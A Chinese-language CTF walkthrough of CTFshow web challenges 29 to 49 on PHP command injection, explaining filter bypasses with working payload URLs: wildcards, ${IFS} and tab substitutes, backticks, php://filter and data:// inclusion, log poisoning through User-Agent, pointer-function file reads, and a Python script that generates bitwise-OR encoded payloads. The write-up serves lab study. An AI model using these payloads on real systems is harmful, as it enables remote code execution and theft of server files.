CTF WEB入门 命令执行篇29-49
完成信息收集以及爆破篇,继续命令执行。对应CTFshow 命令执行web29-49
后面的web50-124在另外两篇文章
目录
web29
web30
web31
web32
web33
web34
web35
web36
web37
web38
web39
web40
web41
web42
web43
web44
web45
web46
web47
web48
web49
总结
web29

这里给出一串代码,特别要注意eval()函数
- preg_match()函数是正则表达式匹配函数,这里过滤了flag,i表示大小写不敏感
- eval()函数是在php代码审计中非常重要经典的函数。可以用于动态执行代码和表达式求值。
- 在这里可以利用eval这个函数,传入c参数值,进行命令执行,比如system('ls')查看文件列表
https://77460aed-0904-482f-b437-8194e971f1c0.challenge.ctf.show?c=syestem('ls');

可以看到这里有两个文件,那flag应该就在flag.php文件里面,查看文件cat
- 这里用到了正则过滤flag,那我们可以使用通配符fla*,表示匹配fla所有开头的文件。
- 也可以使用?通配符,同样表示匹配任意字母。fla?.php
- 可以使用''或""或\进行分割,fla''g,正则匹配不了,但是shell会忽略最终能够拼接。
https://77460aed-0904-482f-b437-8194e971f1c0.challenge.ctf.show/?c=system(cat fla*.php);
查看源代码,得到flag

web30

这里依然是php代码审计。这里跟web29不同的是,这里过滤了flag、system以及php,那我们需要进行绕过。
这里有几种绕过方式可以都了解一下
- 这里过滤了system函数执行,可以使用反引号``来进行绕过。原理:linux的反引号,可以执行命令。可以在一个命令中使用反引号来执行另一个命令,并将结果插入到原始命令中。比如echo `cat flag.php`,那么它执行反引号里面的内容,然后再执行echo。这样就可以绕过题目中的过滤。
- 除了system和``,还有exec()、shell_exec()、passthru()这些函数也可以执行命令。但试了一下,exec这里直接使用不可以,原因是它只返回最后一行,可以使用passthru。
- 还可以利用include包含和伪协议进行绕过。?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php。原理:绕过c参数,include一个新的参数,新的参数url使用一个伪协议可以读取文件的内容(需要用到base64编码是为了不让include执行flag.php文件)。当然得到的是base64编码后的内容,需要将其解码就能获得原始文件内容。
system和passthru不用echo,而反引号和shell_exec函数需要echo原因
system()和passthru()是 "输出型" 函数,它们设计目的就是直接显示命令结果反引号、
shell_exec()、exec()是 "返回型" 函数,它们将结果作为字符串返回,由程序员决定如何处理


web31

进一步严格的过滤。
这里过滤了flag、system、php、cat、sort、shell、英文句号.、空格、单引号
过滤了很多关键的
- 但我们仍然可以用反引号执行命令``,以及passthru函数
- 过滤了空格,可以使用其他字符代替:
- %09,Tab符
- %0a,换行符
- ${IFS},内部字段分隔符
- <,重定向符
- 过滤了cat,我们可以使用tac函数。cat是正序输出文件,tac是倒序输出文件,php文件倒序输出反而可以直接打印到页面,不用查看源码。更复杂情况要知道tail(末尾内容)、less(分页显示)、more(分页显示)。
- 也可以使用include绕过,因为这里只限制了c参数



web32

这里关键增加了反引号和括号的过滤,所以这里不可以使用反引号以及exec这样的函数进行命令执行。
那我们依然可以使用include和伪协议来进行绕过。不过这里的分号;被过滤了,可以使用?>进行过滤,原理是因为php最后一行语句的分号可以省略。
https://7f1c2c44-633e-40ec-8b7d-ba4815f3765d.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

进行base64解码

web33

就比上一题多过滤了双引号,那web32的payload还能用。一样的
https://8de4138a-d318-4071-8eee-4b039552db68.challenge.ctf.show/?c=include$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php
这里也不是只能用php://filter,也可以用别的伪协议
c=include%0A$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
- data://协议,允许在URL中直接嵌入数据。include遇到data会读取协议里面的内容,读取到的内容是php函数会去执行
- php://filter/协议,对数据流进行过滤转换,是读取文件内容,应用
base64-encode过滤器进行编码


web34

多过滤一个冒号,那还是一样,不多啰嗦。
https://e18ba3a4-1046-4031-975e-f5d5203856b2.challenge.ctf.show/?c=include%0A$_GET[a]?%3E&a=data://text/plain,%3C?php%20system(%22cat%20flag.php%22);?%3E

web35

多过滤一个<号,还是一样
https://e3850377-3ba0-4910-9cd1-efa96e614865.challenge.ctf.show/?c=include%0A$_GET[a]?%3E&a=data://text/plain,%3C?php%20system(%22cat%20flag.php%22);?%3E

web36

一样的,多了过滤数字
https://1df5d8d0-2310-4d06-8716-5c37e75b4033.challenge.ctf.show/?c=include$_GET[a]?>&a=data://text/plain,%3C?php%20system(%22cat%20flag.php%22);?%3E

web37

代码显示,直接包含c参数,且过滤了flag
这里不能直接将c=fla*.php让其直接包含打印flag(因为代码环境是很多遍的)。可以使用data://伪协议(php://filter伪协议不支持*号)打印文件内容,不依赖外部的echo获得文件内容
https://e8ea1230-8acd-48bd-96a3-c91a6bbb67a8.challenge.ctf.show/?c=data://text/plain,%3C?php%20system(%22tac%20fla*.php%22)?%3E

这里也可以利用包含日志绕过
包含nginx默认日志路径查看日志文件/var/log/nginx/access.log

可以看到是一些User-Agent信息,那我们可以想到是否可以修改User-Agent信息能够保存到log文件里面,然后再包含这个日志文件执行里面的代码

然后使用蚁剑连接即可。
web38

多了过滤php和file。那还是可以利用data伪协议或者日志写入。
利用data协议,这里过滤掉php,那我们可以尝试编码
源代码
<?php system("tac fla*.php");?>base64编码后
PD9waHAgc3lzdGVtKCJ0YWMgZmxhKi5waHAiKTs/Pg==payload
https://625e5af8-1fd8-4baa-b745-4c984625c497.challenge.ctf.show/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhKi5waHAiKTs/Pg==

当然这里最简单的可以省略php,php解析器也可以正常解析。
?c=data://text/plain,<?system('tac% fla*.php')?>
web39

不一样的是,上面的是包含c的参数,这里是包含参数.php,多了个后缀名
不过对于执行函数没有什么影响,因为?>结束符号,那他就不会继续解析后面的内容。
https://06dcee30-9257-4b3b-80b3-71b3d9ea6243.challenge.ctf.show/?c=data://text/plain,%3C?php%20system(%22tac%20fla*.php%22)?%3E

web40

几乎过滤了各种符号,允许的字符有字母、下划线_、空格、英文括号、分号;。上面的方法都不能使用(因为都存在大量符号),而且编码也行不通因为过滤了数字。
经过提醒才发现,这里过滤的是中括号,不是英文符号(需要很仔细就是了),那还是可以执行任意函数,这里的参数传入eval函数里面执行。
看了wp给出payload
?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));
?c=highlight_file(next(array_reverse(scandir(getcwd()))));
?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");
1.利用指针来指定文件,这样就可以绕过指定文件等一系列需要符号的地方,只需要函数就可以执行成功。
(1) ?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));
- getcwd,获取当前目录路径
- scandir,扫描目录
- array_reverse,将数组顺序反转
- next,指针指向下一个
- show_source,高光显示文件源码
- print_r,输出内容
总结起来就是获取当前目录路径之后,再获取当前目录下面的文件,然后反转数组顺序,指针原本指向第一位,现在让他指向第二位,也就是想要的flag.php文件,然后再高光显示文件源码,最后输出。
- ?c=print_r(getcwd());
- ?c=print_r(scandir(getcwd()));
- ?c=print_r(array_reverse(scandir(getcwd())));
- ?c=print_r(next(array_reverse(scandir(getcwd()))));
(2) highlight_file,也是高光显示文件,不过它会直接输出,所以不需要print_r。
2. c参数不可以,那可以传入另一个参数执行命令,只需要获取另一个参数值,同样也是利用指针。
?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");
- get_defined_vars,获取所有已定义的变量
?c=print_r(get_defined_vars()); ;&1=;system("tac flag.php");
- reset,指向并获取第一个元素,一般获取GET数组
?c=print_r(reset(get_defined_vars())); ;&1=;system("tac flag.php");
这样就可以绕过符号限制,获取第二个参数值并执行。

web41

越来越极端,这里将数字和字母都过滤了,以及一些关键字符。
绕过的思想是匹配ASCII码中没有被过滤的字符,进行位运算,'|'没有被过滤,得到我们想要的字符串。可以写脚本实现,先看payload
import re
import urllib
from urllib import parse
import requestscontents = []#尝试所有ASCII字符
for i in range(256):for j in range(256):hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)#先过滤掉被限制的字符if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):continueelse:a = '%' + hex_ib = '%' + hex_j#获取所有符合规则字符s=a|b,OR运算得到的字符集合(生成的字符,a,b)c = chr(int(a[1:], 16) | int(b[1:], 16))if 32 <= ord(c) <= 126:contents.append([c, a, b])def make_payload(cmd):payload1 = ''payload2 = ''#匹配payload字符for i in cmd:for j in contents:if i == j[0]:#生成a|b的a和bpayload1 += j[1]payload2 += j[2]breakpayload = '("' + payload1 + '"|"' + payload2 + '")'return payload#指定url
URL = input('url:')
#指定你需要执行的函数
payload = make_payload('system') + make_payload('cat flag.php')
#指定参数c
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)
这里注意粘黏的时候,将https改为http,ctf平台是http,如果https可能需要你认证等之类的报错。

web42

出现新的情况,>dev/null 2>&1 意思是将标准输出和标准错误输出到/dev/null,即不回显。
可以使用 " ; " " || " " & " " && " 绕过不回显
- ; 分隔,这样分号之前命令行正常执行输出,后面命令行才会执行不回显
- || 前面正常执行则不会执行后面的命令
- | 这里介绍是为了同||区分,|是顺序执行,前面执行结果会传递到后面
- & 同时进行,不影响执行输出结果
- && 顺序执行,但不影响执行输出结果

web43

多过滤了cat和分号。上面讲过过滤了cat可以用tac等函数,一样的
下面这几道题过滤规则都是前面讲过的,非常适合自己再做一遍查缺补漏。

web44

多过滤了flag,用*号绕过

web45

多过滤了空格,用%09绕过

web46

多过滤数字、$以及*,那么*通配符使用不了,可以用?通配符绕过

web47

多过滤了很多more等的绕过cat的一些查看文件内容的函数,但是没有过滤tac,那还是一样

web48

过滤更多函数,还是没有过滤tac,一样

web49

多过滤了%号,还是一样(%09这样算是一个Tab符,不会过滤的)

总结
都是一些php的代码审计和命令执行。
- system绕过。``反引号、exec()、passthru()
- 空格绕过。%09Tab符、%0a换行符、${IFS}内部字段分隔符、<重定向符
- cat绕过。tac、more、less等
- 过滤特定单词,例如flag或tac等,可以使用通配符*、?绕过,使用''或""或\分割绕过。
- include和伪协议绕过,日志包含绕过
- 极端情况,过滤了数字和很多符号,没有过滤字母,利用指针来指定文件然后读取
- 极端情况,基本过滤了全部符号、数字以及字母,使用位运算来获得想执行的函数
- 代码结果输出到/dev/null,可以使用;、&、||进行绕过






